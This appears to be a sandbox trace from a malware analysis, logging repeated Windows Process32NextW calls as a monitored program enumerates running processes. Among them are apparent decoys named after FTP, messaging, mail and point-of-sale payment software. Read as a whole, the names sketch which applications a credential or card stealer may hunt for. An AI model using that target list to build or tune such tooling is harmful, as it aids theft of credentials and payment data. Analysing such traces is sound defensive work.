	[0197.636] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0197.640] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0197.643] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0197.646] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0197.649] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0197.982] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.986] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.989] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.993] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.997] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.000] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.004] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.007] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0198.011] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0198.015] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0198.018] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0198.022] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.025] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0198.315] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.318] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0198.321] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0198.325] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0198.328] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0198.332] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0198.335] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0198.338] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0198.342] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0198.608] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0198.612] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0198.615] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0198.619] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0198.622] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0198.626] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0198.630] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0198.633] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0198.638] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0198.641] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0198.644] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0198.647] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0198.915] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0198.919] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0198.922] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0198.925] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0198.928] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0198.931] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0198.934] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0198.937] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0198.941] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0198.944] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0199.240] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0199.243] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0199.246] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0199.249] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0199.252] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0199.255] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0199.258] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0199.261] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0199.264] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0199.267] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0199.270] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0199.273] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0199.571] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0199.884] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0199.888] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0199.891] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0199.894] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0199.897] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0199.900] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0199.903] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0199.906] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0199.909] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0199.913] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0200.619] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0200.622] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0200.625] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0200.628] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0200.631] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0200.634] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0200.637] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0200.640] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0200.643] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
